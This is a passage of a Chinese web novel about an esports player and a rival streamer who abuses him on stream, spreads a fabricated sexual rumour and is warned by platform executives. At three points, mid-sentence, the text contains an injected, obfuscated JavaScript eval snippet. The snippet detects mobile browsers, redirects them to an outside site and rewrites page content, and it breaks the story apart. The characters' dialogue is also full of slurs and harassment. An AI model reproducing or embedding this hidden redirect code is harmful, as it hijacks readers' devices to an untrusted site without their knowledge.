这一局到这基本就结束了，江柏挂上人后就放松了下来，放下手机揉上手腕。 游戏里的角色原地挂机，他则摘下耳机起身，去给自己接了杯水。 沈哲的新机还没修到三分之一，留在二站的医生就上了椅。 电机本就不够，那人还一直合修不停炸机，他干脆就把那台机让给医生了，谁知他没提前转点，不到二十秒速溶，移形都没逼出来。 沈哲有点后悔：“早知道我不走了。” 追自己还能平。 计少庭：“这把要是输了，我马上去隔壁真人快打。” “然后全直播间的人就会向叔叔告状，”沈哲道，“说你霸凌十八岁国家重点大学高材生。” “哪有，”计少庭笑了，“是他自己要往我的拳头上撞。” 他们不知道江柏在挂机，以为屠夫贴脸守，加上邦邦本就是守尸屠，开二阶后更是变态，两个修机位没什么操作空间，这个人也很默契地没有救。 修完倒数第二台，两人就分开了，接下来就是紧张刺激的地窖争夺战，谁能活到最后，谁就是最佳演绎。 “元虹桑，就此别过吧，”沈哲说，“再见面时，你我就是敌人了。” 计少庭对他的小尬剧深感无语，刚想开口，游戏内的人物倏地穿模了，原地漂移的同时，屏幕上弹出一行字。 【监管者已投降，正在逃离庄园。】 原来是江柏端着水杯回来，操作角色转动视角，远远的，看见机械和囚徒站在终点站玩石头剪子布。 不是那种传统的玩，动作做了一半就打断，两个人疯狂地抽搐抬手，冲着对面狂撸空气。 这个动作老早就被变态的第五人格玩家发明出来，并被人屠玩家广泛运用在各种对局里。 想当初江柏第一次玩求生，被对面屠夫粉丝认出来并对他这么干时，内心无疑是复杂的。 “坏，挂了这种人我不会变傻吧，”江柏笑道，“算了，投降了。” 左上右下那一刻，一大波粉红色爱心爆炸在了荧幕上。 【好快的投。】 【甜甜甜，霸道屠皇狠狠爱。】 【主播怎么这么熟练，是不是没少干？】 【感谢还在嘴硬送上的飞机。】 14. 呆得像鸟一样 “靠，我还没溜爆他当他面走地窖，他居然就敢投降？” 被迫吃了嗟来之食的沈哲就跟吃了屎一样，一退出就熟练地打开战绩，看见对面【快回头我是红蝶［26号守卫］】的ID旁边明晃晃写着几个大字——段位分数＋4，本就不富裕的气量瞬间爆炸。 “同样都是平局，凭什么他加四我加二。” 沈哲手指连点，在举报页面里毫不犹豫地选中演员，打键盘的手指灵活地弹起钢琴写出美妙的字章，就在即将按下确定键的那一刻，只听嗡的一声，五个拥有纽扣双眼的男生头像充满了整个画面。 下一趟排位泥头车准时创飞了他。 沈哲一肚子的美妙赞词被硬生生截了胡。 “二你妹呀，”计少庭说，“赶紧准备。” 排到不准备要被扣品德分，扣多了就会禁止该号一段时间的排位与匹配，尤其这两全英雄全皮肤的号还是老板斥重金买下，拿到手就是七阶三四星，专门留给他们练手和加好友的。 计少庭过惯了在橱窗里挑选战衣的少爷日子，可不想因为这点小事就回去打自己的贫穷四阶号。 扣两分和扣十四分沈哲还是拎得清的，不太情愿地哼一声点击准备，目光恨恨地看一眼手机上的直播间。 不看还好，一看全是表扬虚伪爆杀咒医的，他被医生搞得有点郁闷，发现世界上还是好人多时有些解气地一笑，笑完才倏地清醒——不对，打的是自己，他笑个锤子？ 沈哲猛然板起脸以示立场，觉得自己的想法该是“把刚才打赏的礼物从屏里抠出来”才对，手一挥关掉直播，和计少庭进入下一轮排位的赛前准备。 他这边一走，赛后立刻弹出两条消息。 【菜就夕夕练［囚徒］：退出了聊天。】 【饭就小丿做［机械师］：退出了聊天。】 从对局结束到分数结算不过三十多秒，江柏一退出来就看到这两条消息，习以为常地点开预计时间半个小时以上的排位匹配，这种几乎无损时间的幸福是他羡慕不来的。 四个小时里车速无缝衔接，连胜的话一晚上就能突破高阶，他们在对局里狂秀操作的时候，江柏还在苦苦等待他的下四位有缘人。 这种秒排秒退是很常见的，不过江柏没注意到的是，他们的消息是赛后框里的首两条，也就是说咒术和医生比沈哲先飞天，却一直没退赛后也没说话，貌似在窥屏。 他只是扫了一眼赛后消息就没看了，但围观群众明显感到事情开始大条了起来，纷纷发【咒术没退赛后】【他怎么还阴魂不散了】等弹幕提醒他。 不出所料，咒术等的就是他们三个狗东西退出对局的这一刻，但他酝酿许久的讥讽还没发出去，这两就兜头跑了，想骂人骂不到，看江柏还没退出，就把一切矛头全指向了他。 【秒倒苟饲全家［咒术师］：跑这么快家里死人了啊，赛前那么冲怎么不见你溜起来。】 【秒倒苟饲全家［咒术师］：发挥下限拿两个上限角色，我有义务给巨婴擦屁股？】 【秒倒苟饲全家［咒术师］：输不起去打匹配行不行，打什么排位。】 【秒倒苟饲全家［咒术师］：对面那屠也是菜得牛逼，这么俩残疾断腿角色都抓不到，还七阶呢，脑瘫。】 江柏登后台双开了另一个号，已经准备等车时和大家一起观战屠榜上的对局，谁知切回来一看，公共频道不停地在弹出红点消息。 他点开赛后，只见屏幕的当前聊天框被大片的文字刷屏占满，这咒术师骂到最后连标点符号都没有了，感觉像语音转文字，内容清一色的是对沈哲计少庭还有他的辱骂。 【秒倒苟饲全家［咒术师］：叫啊怎么不叫了职业哥了不起啊看不起咱们这些破玩游戏的，在局里交/配卖钩子换平局不是很开心吗现在怕被举报知道跑了？】 【秒倒苟饲全家［咒术师］：三畜牲玩意你们的母亲拿来上分还不如拿来给我上，让爹多给你生几个兄弟姐妹给你那萎缩大脑多留几个崭新的备胎，求求你恶心他们去别来恶心大伙了好吗？】 这恶臭的脏话中夹杂着一些鄙视和污蔑，虽然系统会对脏话进行自动屏蔽，但人民的智慧是伟大的，同音通假字之类在这方面很好地发挥了作用。 江柏仔细看了，挑出错别字和同音字，从他的发言中发现了关键词——“职业哥”，联想到先前弹幕上一飘而过的“对面两个也是主播”的信息，一个模糊的轮廓在他心中大致浮现了出来。 随后他鼠标一点，在咒术师仍在疯狂刷屏时安静地退出了赛后。 满打满算，展示在大众面前的赛后剧场只有五分钟左右，但这令人肝火直冒的五分钟对于满腹愤慨没处发的粉丝来说完全足够了。 【什么超雄综合症，打不过就骂别人？】 【怎么关了，我要看悉尼歌剧院。】 【秒倒的是谁啊谁在狗叫，你真有实力你溜爆虚伪呀。】 【反绕都不会看得出来很慌了。】 【没流言和元虹修机，这局连平都没有，让你少扣几分破那么大防，不会常年在七阶当守门员吧？】 【这么牛逼怎么没在IVL现场看见你。】 面对群情激奋的弹幕的打开战绩看看咒术师是不是掉段了的强烈要求，江柏没有应允，而是默默地取消了当前排位。 他慢慢取下耳机搁在肩颈上，望着直播间内雪花似的弹幕飘满屏幕，两指搭桌，有一搭没一搭地打了一会儿，停下来时，缄默过后的音色格外冰冷。 “我说没说让你们别去骂？” 江柏待人都是爱笑且温和的，加上长相嫩生生的像个小白团子看起来很好欺负，可一旦冷下来脸，那说明事态是真有些不妙了。 战队内多数的正经氛围都是由他创造，连左尹和毛球都不太敢犯贱，经理先前也无奈地提过，江柏在KS年纪最小，气场却是最大的那个，和他走一起时被气质影响，连背都不自觉地要挺直少许。 当时单嘉还挖着鼻孔，小指弹出讥讽一句：“危言耸听，我让他喵喵叫他就得叫，你信不信？” 结果被经理反手响当当赏了一个脆的：“老子是在指桑骂槐，你猜这个槐说的是谁，你个当队长的能不能有点正形？” 别说他们，粉丝十有八九也是，先前被江柏说了句“你们来打”就自觉老实了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923446|160388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但这一次是个人都忍不了，大伙没人听他的，有部分人甚至觉得江柏窝囊，被这么跳脸都不敢去碰。 【是汉语吗我咋听不懂啥意思？？？】 【好家伙，我们不是为了你才去骂的？】 【蓝旗直播的，那咒术还在骂，说流言卖了他向屠方示好换的平局。】 【前面的谁啊，又在假装虚伪十天老粉？】 【笑死，换两个正常的七阶路人流言早带飞了，溜不动还爱COS机械抗压，帕金森晚期选点都抖？】 多大点事闹麻了。 江柏压根没往心里去，更别提这么杀气腾腾的做法他本就不怎么认可。 他不觉得自己打赢了有什么错，可赢了之后还去坟头蹦迪的这种行为，在他看来和小丑没有差别。 对方逞几句口舌之快，骂就骂了，没必要为不值得的人，不值得的事浪费时间，浪费精力。 “也许这两天刚夺冠，直播间来了很多新朋友，谢谢大家的厚爱，以防有人不知道，我丑话说在前头。” 江柏微侧了头，是一个放松的姿态，面团似的人少有的展现出有锋芒的一面。 “我这个人的习惯不是口嗨，我喜欢用实力说话，喜欢堂堂正正打败赛前放狠话的对手，然后走过去和他握手，而不是在赛后采访时，说出类似于‘不过是个垃圾’这种话，听明白了吗？” 握手这个环节是比赛结束后的一节重要流程，早期没有，后来官方为了增加选手之间的互动，添加了个符合传统文化，像是以武会友后抱拳相敬的仪式上去。 各花入各眼，有人觉得酷炫，就会有人觉得多余，本来战队选手在输掉那一刻就想跳楼了，还要挤出笑脸冲打爆他们的选手握手言和，不是多余是什么？ 因而也有人把握手看做一种挖苦的途径，江柏知道说出来没人信，但他确没有一丝耻笑想法，单纯就是和对手过招，分出胜负，然后结和解之印。 如果有人看不起他，自己就让他看得起。 就这么简单。 话说到这份上，再听不懂就成傻子了。 直播间大多数还是从江柏签约华星平台时就开始看起的老粉，听他说几句便冷静下来，但一些新来的反倒觉得虚伪这是在筛选粉丝，人家明摆着说不稀罕你们这帮瞎起哄的臭嗨，自己还热脸贴冷屁股去帮着冲锋个什么劲？ 新粉旧粉与路人相混合，文字海里拼命想解释的，感到一片好心被辜负了的，和看热闹不嫌事大，专门从蓝旗直播跑过来一睹为快的杂糅在一起，直播间里的风气变得时好时坏，讨论方向朝着极为奇怪的方向迅速发展。 【伪神的素质在D5里还是太高了。】 【真不是我们找事，那超雄都说QR被官方贿赂KS才能赢了，这算造谣诽谤了吧？】 【急死我了，你快过去看看啊。】 【刚来，这就是新冠军大屠皇的直播间？】 【队友训练你直播，职业哥超绝松弛感。】 【蓝旗超雄粉闻着味就来了，赏你个平局没完没了了。】 【都下一把了还放任粉丝来直播间里拉屎，没完没了的究竟是谁？】 15. 职业粉大战超雄哥 一双手飞舞着敲动电脑前的机械键盘，劈里啪啦的清脆声仿佛在谱写一首轻快的歌曲，然而聊天框中正展开着的污言秽语，却和这好听的青轴音完全不是一回事。 屏幕中满满当当的谩骂飞快滑过眼前，这个直播间的主人却好似丝毫不在意的样子，嘴角挂着一抹轻蔑的笑，敲中回车键，哼着小调抬手，取下了衔在嘴角的烟头。 “叫叫叫，一群贱狗。” 何洋抓了抓头发，偏头吐一口唾沫，手一挥把烟头摔到了烟灰缸里，抓住麦抬高说：“想看爸爸长什么样，来，满足你们。” 他把摄像头拖过来对准胸口，为自己的华美演出酝酿了下表情，随后手指发力，按下头后的开关。 电路接通的那一刻，一张扭曲到惊悚的鬼脸怼在了观众的面前。 “怎么样，主播的深海巨口舔得你们爽不爽。” 何洋很嚣张，翻着白眼伸出老长的舌头，一边在两边嘴角间高速地来回扫动着，一边得意洋洋摇晃着脑袋，把这水渍作响的一幕全方位无死角地展现在镜头面前。 关键是他长得不咋养眼，平时做个头发化化妆表情管理做到位，美颜滤镜下来看好歹算个周正。 如今刻意卖丑，直播三件套自然是各在各家全都缺席，哈着气的一副拔丝媚态合着这张脸的浮夸表情，有多油腻可想而知。 这正是何洋想要的效果，反响也不出意料的十分爆炸，乐子人的打赏一个接着一个，今天一场直播的收益比前几个月的总和还要高，口袋吃饱饱。 熟悉了他直播风格的老粉全在刷屏哈哈哈，反倒是从江柏那边慕名而来的好些华星粉丝被吓晕了头。 【老粉福利一个一个来，颜设咯～】 【救命，哪来的伪人。】 【666，这就是某旗的企业文化吗，擦边卖钩信手拈来。】 【能不能别做你那b高/潮脸了，恶心谁呢？】 【有的看就不错了，你们消费了吗，叫花子还点上菜了。】 【哈哈哈，六哥给人厕姐舔上头了，嗷嗷叫呢。】 “妈的，说脏话犯法是吧，老子嘴人管你们屁事。” 何洋搞完行为艺术，翻着白眼吐舌头，重新坐了下来。 “要不是抽烟开不了摄像头，真以为怂了你们。” 他这副毫无悔过之心的嘴脸显然没让网友满意，好些粉丝是作为传令兵待在这的，为了汇报战况蓝旗华星两头在跑。 随着时间的推移，少说被何洋还有房管同气连枝地禁言羞辱了好几轮，肺都快气炸了，纷纷把喷涌而出的怒火宣泄到弹幕言论上。 【你凭什么骂流言，秒倒菜狗还有理了。】 【自己说嘴人管别人屁事，那我嘴你又管别人屁事，有种别关评论区来辩啊。】 【一边说别来骂一边开锁头，有点像正主绿茶婊。】 【被喷了不服你就喷回来，躲在粉丝背后屁都不敢放一个，二十一世纪了追着喊道歉，你们小学生啊？】 【懂了，原来用虚伪做ID是这个意思。】 【求求你们别冲了，把我笑死在这怎么办。】 “呦呦呦职业哥毒唯破防了，你给虚伪刷礼物他帮你舔吗母/狗们？收了钱还在那装清高，真不如你六哥会做人吧。” 何洋玩着手机，白光渲染下的脸满是不屑，直播助手上的标题早在十分钟前，就已从【折磨屠狗】改成了【欢迎贱婢大驾光临】。 医生和他连着麦，不排位了，时不时附和六哥一句话，从细微的电流声里传来娇嫩甜美的女音，语气鄙夷。 “还搁那假惺惺管粉丝呢，没粉丝他算个毛。” 这两人嘴上说着不在意，实际江柏说的每一句话都在明里暗里地讽刺，很难让大伙相信他们没有在窥屏。 况且这话说出来简直荒谬绝伦，属实是给人小刀拉屁股，开了大眼了。 【WTF，老子今天没来蓝旗，恐怕一辈子都不知道，原来职业选手是靠粉丝吃饭的。】 【舔你大坝，以己度人给我去死。】 【职业就是了不起，有种你去打一个冠军来看看。】 【我说你们这些奴才别太爱了，偷几句论坛圣经就来追着微博评论区发，不会真以为自己很有攻击性吧？】 【还是那句话梦女们，你们现在的主要目标是小升初。】 “职业？职业我就活该被他们演？” 不提还好，一提就来气，何洋触发关键词后一发不可收拾，伸出一指睨着屏幕。 “老子当时身上三层猴，下椅就能出地下室，技能都交了两个byd狗东西不救人？哦，是队友就可以恶心路人，可以故意送输又来假惺惺伪善，打比赛演习惯了是吧，老子缺那几分吗要他们来卖？” 【五台机你他妈能溜啊？】 【我五阶都知道卖了保平，意识都没有的菜逼还抨击上职业选手的抉择来了。】 【来看看战绩是不是掉星了，把你俩挂飞记一辈子？】 【医生都来了还不救？救下来堵个门打打团，外头有机械不是随便修？】 【你想打谁的团，邦邦的还是虚伪的？】 【小蜜蜂别秀你那和小脑一样萎缩的游戏理解了行吗。】 “那我也告诉你们这帮杂/种，IVL大厨房老子没话说，总有冤种喜欢买尬剧的账，但拿着这一套演到你爹头上就是不行，真以为人人都跟QR那群怂包一样好欺负。”何洋说。 【？？？？】 【别蹭了好吗QR也是你能碰的？】 【今天算是见识了虚伪脑残粉的无知。】 【故意说这种话炒热度的吧。】 【什么鬼，假赛的风都从隔壁吹到草台班子了？】 【嗯嗯嗯你最棒你最牛，别人都被蒙在鼓里就你大彻大悟，下次总决赛现场没你我不看。】 “QR那人队决赛前都打得像个人样，你妈一上决赛，屁滚尿流的猪似的满大街乱跑，你说他没收官方的钱鬼才信啊。” 眼看气氛越演越烈，何洋非但不停歇，反而抓着些蛛丝马迹就开始强行缝合，冲他的小女友医生痞里痞气地笑一声，“哎，不是说先前KS缺人，招虚伪是联赛负责人拜托荷青帮忙周转的吗，你说他俩是不是睡过啊？” “肯定不是啊。” “为什么？” “因为和虚伪睡过的全在六哥直播间里呢。”小女友咯咯笑着，倒是一个很懂得流量密码的妙人。 何洋得逞大笑，抱着麦用力啄了一口，他好似看不见满屏的脏话和问号，当着所有提督和房管的面和女朋友你侬我侬。 【有病吧造荷青黄谣。】 【能不能就事论事啊我服了。】 【阴谋论不仅侮辱了KS，也侮辱了QR。】 【打个破游戏给你能的，除了网暴素人还会干啥？】 【撒泼打滚在人家视频底下发癫，以为这样就能让罪大恶极的六哥给你们正主道歉，殊不知虚伪看见你们这群疯狗在乱咬人正暗爽呢。】 【脸都要笑烂了吧，难为我们职业哥还能摆出一副正义凛然的态度。】 【以暴力或者其他方法公然侮辱他人或者捏造事实诽谤他人，情节严重的，处三年以下有期徒刑、拘役、管制或剥夺政治权利。】 “骂，使劲骂，求求你送个律师函给我，你们越闹我热度越高。” 何洋点开蓝旗直播的首页界面，只见游戏区的第二行排列着第五人格分区的大主播们，只不过此时霸榜的不再是驻站蓝旗的官方解说小夜明，而是以一张自拍照为封面的【蓝旗丶溜六溜】直播间，当前在看八十九万，并且还在不断攀高。 “好久没冲上D5榜首独占鳌头了，来来来家人们一起合个影。”见何洋拿出小道具摄像机，小女友就知他要干什么，心领神会打开摄像头，两人笑着在屏幕前面对了闪光灯。 事情发展到这个地步，争吵的本质已经发生了改变，很多人不再是为了给江柏出头，单纯就是看不惯何洋的猖狂，定要治治他的毛病。 而在这件事中，站队的也是少数，更多的不挺虚伪也不挺六哥，只听说有职业瞧不起民间高手，正义之魂便蠢蠢欲动，赶着香味就要来看看热闹捧个场子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923447|160388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>现在直播间里，有一大波流量来自于华星，他们在江柏不知情的情况下源源不断进来批判，但俗话说强龙难压地头蛇，整个直播间的话语权仍是掌握在房管和原始粉丝中，风评几乎是一边倒，大伙都把叫嚣着道歉的虚伪粉丝当猴在看，乐得前俯后仰。 流水线式井喷而出的斥骂弥漫在整个直播间，何洋输出是爽了，害得房管们忙得满头大汗，其中一个是新来的胆小，手速飞快封号禁言的同时，放心不下向领班私聊了一句，“虚伪可是现在KS的大红人，咱们这么做会不会遭报复啊？” 领班在直播界摸爬滚打了这么多年，早就把市场的规律看得一清二楚，无所谓的态度伴随着键盘敲击声从语音中传来。 “怕个屁，六哥之前还和FK的使命打过擂台，FK知道不，在隔壁联盟里投了一千多亿的那个大财阀，那次动静比这次大得多，都快演变成两公司的财力对抗了，不照样没事？” “为什么？”那新人愣了。 “不蹭这些名人没流量，六哥就是干这行的，黑红路线懂不。”一人看他这么不开窍，忍不住开口说着。 敢情还这么搞过不止一回？ 新人吞咽了下唾沫，追问说，“就没翻过车？” “主要人家名门大派的，谁会兴师动众来整一个小平台主播，吃饱了没事干。”另一人不耐烦补充了句。 其余几个也光速附和。 “虚伪IVL的，你觉得他敢下场骂人？职业生涯不想要了。” “根据我的经验判断，最多就接个法院传票，真打官司恐怕要等到明年，深渊赛快到了，他等得KS可等不得。” “就是，多小件事，粉丝之间干架罢了，我见多了，吵完屁事没有。” 说完这几句之后，语音里又恢复了先前一样的沉默，死寂中只有打字声不绝于耳。 不知怎的，听他们说了一大堆，那新人不仅没感到安心，心跳反而越来越快，他以为兄弟们是烦的所以不吭声，结果自己问一句，一石激起千层浪，引起了好几个人密集的答复，不像是在解释，更像在相互打气，试图说服自己相信真的没事一样。 一股淡淡的焦躁恐惧感萦绕在众房管之间。 每个人都仿佛陷入了无休无止的工作深渊之中，心照不宣地装作很忙，尽管手里要处理的弹幕和账号已经越来越少。 还是那个新人，看见何洋仍在口若悬河地大谈特谈，弹幕和留言中的威胁数量却无端成了负相关，立刻把这个异常发现报告给了领班。 “他们怎么不骂了？” 领班对他惊弓之鸟一惊一乍的德行深感无语。 “不骂了不正好？” “刚才那么激动，现在总不可能一下子就想息事宁人了吧。”事出反常必有妖，新人百分之一百肯定，绝对有别的什么发生在了视野之外。 “兴许这帮小妹妹终于明白，自己在外鬼混败坏的是谁的名声了。”一人猜测。 “不管怎样，今晚的钱算是赚够了，这么多老板上了提督挺六哥，估计也是平时被这些职业哥鄙视久了，心里不痛快，真是，打个联赛自以为多高人一等了。” 领班捏响了手指，一想到引流战术又成功地空手套了一回白狼就喜上眉梢，刚要开口再说些什么，房管界面却猛然间弹出一个红色的警告框。 “等等，处理点事。”他以为是系统对污言秽语的自动警告，见惯不怪地点开发信准备敷衍。 然而当这则警告被展开的那一刻，领班瞪大了眼珠，彻底傻眼了。 一个哭泣小人保持着递信的姿势占据了中心位置，这是蓝旗直播的吉祥物，直播姬蓝蓝和旗旗中的一个，两人分工明确，蓝蓝出现的场合通常是显示bug或发出整改通告，有她在的地方就代表技术人员会在五分钟内到达战场。 对于常年抽疯的蓝旗来说，蓝蓝的到来简直是家常便饭，但此时降临【溜六溜】直播间的不是她，而是另一个对于所有蓝旗主播而言，象征着一纸死亡判词的红毛萝莉——旗旗。 领班被吓一大跳，差点破音的嗓门脱口而出：“我操，高管？！” 16. 庶高管发配嫡主播 众所周知，作为全网最宽松的审核平台，蓝旗直播收纳了许多无处可去的颜色主播，包括一些别的地方连签都过不了的素质人才在内，播的全是些懂得都懂的内容，只要不涉及到关键部位，基本都能在这混口饭吃。 这类敏感题材都这样，更别提一些引战钓鱼言论了，无论吵得多凶，甚至已经上升到外界对蓝旗有色眼镜的程度，该视频该在仍在，就没见过一个被禁封的。 社会媒体不止一次呼吁过蓝旗公司清理内部肮脏环境，但人家老总嫌麻烦，让公关道个歉又美美隐身，留下一地鸡毛无人问津。 久而久之的，网友们都对蓝旗垃圾场的印象根深蒂固，就连内部人员在这方面都是一视同仁。 所以，当领班看到比貔貅还珍奇的骨灰级人物，活在传闻中的蓝旗高管下场时，内心可谓震撼得无以复加。 天杀的，原来蓝旗有管理员的啊？？？ 【蓝旗直播高层管理员警告您：严禁在直播间内发布侮辱、伤害、挑衅和诽谤他人言论，您的行为已违反《蓝旗平台主播管理条例》，如不能及时更改，平台将默认您单方撕毁合同，禁止您在蓝旗直播的一切活动，您将支付一百万元的违约金，如不支付，您的账号将被永久封禁，谢谢配合。】 “啥玩意，高管？”非常大震惊来自直播助理。 “我操，蓝旗还有高管？骗人的吧。”一人不是很信。 “666，六哥你是真出名了。”另一人帮腔。 “换句话说，这怎么不算一种大明星。”长见识之余，还有人表示不能悲观，何洋做梦都想出人头地，这不正好合了他那颗心。 这特么百年难得一遇的奇观，要不是直播没了自己工作也难保，领班都想叫兄弟们赶紧出来膜拜神仙。 他不敢托大，打字效率太低干脆通话，赶忙连线何洋让他先停止当前的逗乐操作。 “六哥六哥，出事了高管来了，等会儿再说……” “我说句难听的，世界之大，叫你们王八看绿豆对上眼了，diss粉丝的真敢开口，偏要来剃头挑子一头热的也够贱啊。” 何洋骂起劲了，唾沫星子压根收不住，领班无奈又叫了他两声。 “六哥，六哥！” 小女友先开始在笑，听领班语气不对不像在捧哏，便慢慢收起脸仔细观察起局势，只见弹幕上接近一半在狂欢，而另一半在茫然，和她一样处于懵逼状态。 领班连上的两人语音，一开腔，房间内的围观群众全能听见，大家的反应都如出一辙，一说是蓝旗高管来了，自然而然清楚是虚伪粉丝去举报了何洋。 先前领班未报告时就有人在开香槟，原来是告状去了，但信蓝旗会管还不如信我是秦始皇，大部分人不遗余力地对执着于制裁的天真小孩表达了他们的嘲笑。 【网络不是法外之地，支持高管正义执行。】 【不是哥们，真有人信这种拙劣骗术啊？】 【蓝旗还有高管？？】 【封得好，早看不惯他天天扯个喇叭大吼大叫了。】 【前面的尬黑什么，你玩第五没叫过？】 【跑人家地盘上来撒野结果被禁言封号，只能寄希望于机械降神来拿下六哥，噢，你们好可怜哦。】 【预感要闹大，先上个电视。】 “出什么事了。”小女友换个频道向领班发了句文字私聊。 “高管说他违约，再不闭嘴就要扣合同了。”领班一边不放弃拉架，一边发来信息。 小女友被骇一跳，“哪来的什么违约行为，整蛊的吧？” “我倒想是整蛊，他们总不可能把蓝旗的后台程序全给黑了？”领班的口吻有些抓狂，消息的来源是系统通告，除非脑残粉把蓝旗总部买下来了，不然如何解释连高管都站在他们那边。 他忧心忡忡的样子让小女友泛起不安，她跟了六哥小三个年头，常在河边走哪有不湿鞋的道理怎会不明白，尤其还涉及到毁约赔钱，一时有点慌了，两人轮番上阵，终于把沉浸在自我世界里陶醉不已的何洋拉了出来。 “干什么，没看见我猎对面马呢？我马丢了你负责啊？”被脚刹了的何洋很不耐烦。 “高管来了，要封你直播间！”领班总算插进一句话，热锅蚂蚁似的急得团团转。 何洋扫了眼弹幕，对此一眼假的恐吓不屑一顾。 “你怎么不说是警察来抓我进去了。” “是真的，不信你自己看。”领班把截图发给他。 警告通则一般是发送到房管后台的，为了不影响今后的主播生涯，说白了就是给人留个面子和机会，修正了就当无事发生，再三劝诫都屡教不改才会大张旗鼓张贴出来，现在高管的意思就是让何洋收手别闹了，非要撕破脸就别怪他辣手无情，后果不堪设想。 直到看见这张几分钟前的截图，何洋才对这场他心中不以为意的闹剧重视起来。 他腾的一下坐直了身板，顾不得去看眼花缭乱的各路弹幕，紧盯着屏幕打字回复领班。 【溜六溜：怎么回事？这哪冒出来的高管，蓝旗还有这玩意？】 【无穷：我哪儿知道，你直接和他说吧，我就不转述了。】 这话说得何洋心里凉飕飕的，他慢吞吞挪动手指，连领班把后台短信框发给他都没应。 小女友脸色有点发白：“六哥……” 前脚狂拽酷炫吊炸天，后脚呆愣在原地，他一秒变脸的落差使得节目效果非常足，比起嫌疑人在被告席上无所谓地对宣判他死刑的法官做鬼脸，大多数时候，大伙更想看的其实是他失去了重要东西从而受不了地破大防。 【坏，真惊动上面了？】 【看他脸色不像剧本。】 【我靠有病啊你们，非要把人家饭碗搞没？】 【几几年了还道德绑架，别太荒谬了哥们，他不违规谁能封他？】 【好死。】 【到底咋回事，有没有人说一下。】 眼看走势陷入低谷，关怀他心切的老板接二连三给何洋上舰发留言询问，但何洋一点都高兴不起来，搞不定合同纠纷的事，他们刷再多钱都提不了现。 他现在的注意力全放在了高管的回复框里，仿佛即将溺毙深海的尸体在等待属于他独一份的氧气，只有如此才能拯救当前命悬一线的精神状态。 何洋喉结滚动，眼珠一动不动地凝视屏幕，半分钟像等了好几年，高管终于发来回复。 【蓝旗高层管理员：亲爱的用户您好，您的反馈已收到，经核验申诉无效。】 何洋一下子爆了：“操！凭什么无效？！” 他并不是嘴上说说，对高管发去了同样意思的话，只不过言辞文雅了些。 【蓝旗高层管理员：我们后台录播核对时间，显示是您这边先发布的不当言论，建议您公开辟谣一下，把辟谣视频和公告发送至后台再找我们处理哦。】 【溜六溜：我说错什么了，有人当演员我还不能骂是吧，你们是想让我吃哑巴亏还是让我跪下来给对面当狗？】 【蓝旗高层管理员：违规理由已上报，请及时处理。】 【溜六溜：哦我懂了，蓝旗怕惹麻烦所以把我推出去当靶子是不，难怪这么多年都还是个低俗平台，这点骨气都没有你开什么公司，我告诉你们这帮狗日的，想把我用完就丢都没有。】 这番话拿给别人看，十个有九个都会感觉他失心疯，未免太看得起自己了。 但实际上，从某种程度来说，何洋猜得其实大差不差。 这人身上出事不是一次两次了，先前和FK闹得就挺大，只不过后期打成了两公司的代理人战争，事件上升到一个高度就没人在乎最开始的导火索了，就这样何洋才隐姓埋名，得以从FK俱乐部和光新集团之间的狂轰滥炸中全身而退。 当时蓝旗就想把何洋丢了的，但那会儿风口浪尖，刚得了舆论红利转头就卸磨杀驴会显得太急着撇清，也容易让记者逮住苗头批判他们利益至上，让广大主播人人自危。 可今时不同往日，现在不一样了，何洋先发涉嫌诽谤，高管光速下场，不仅师出有名而且有侠有义，找个借口随便把约解了，背着负面新闻离场，绝不会有新闻官愿意采访他，一石二鸟。 当然，就算是事实，这些因素也不可能告诉何洋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923448|160388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【蓝旗高层管理员：游戏内不归我们管呢亲亲，建议您向游戏公司提交申诉。】 【溜六溜：靠！我要是能举报他还他妈在这？你告诉我哪里违规了，那么多人卖肉骂人就我被封，这像话吗，别给职业哥当舔狗行不行，那狗娘养的虚伪是给你祖宗上过坟吗你这么供着他？】 【蓝旗高层管理员：请注意言辞亲亲。】 【溜六溜：有话说事没事就滚出去别挡着你爹直播，屁理由拿不出来你凭什么封我？】 【蓝旗高层管理员：不是要封您，按照法律程序，违约不改需缴纳一百万违约金。】 【溜六溜：老子就不交你能把你爹怎么的？你有种封我一个看看，我找人整死你们。】 【蓝旗高层管理员：请注意言辞亲亲。】 【溜六溜：别几把当复读机器人，有哪里违规你说啊，占着不走是什么意思，喜欢犯贱是吧？】 【蓝旗高层管理员：您以公众人物为主角，编造了虚假的绯闻故事，传播人数超过五十万以上。】 【溜六溜：老子说了是猜的，我他妈是猜的听不懂人话吗，你爹哪一句说过他俩真睡了，我说你们是不是有病啊，别人天天键社你不管，跑到我这来揪着一句口嗨不放，警察都知道吹牛不犯法，大清早亡了现在讲究言论自由你个狗腿子管得着老子——】 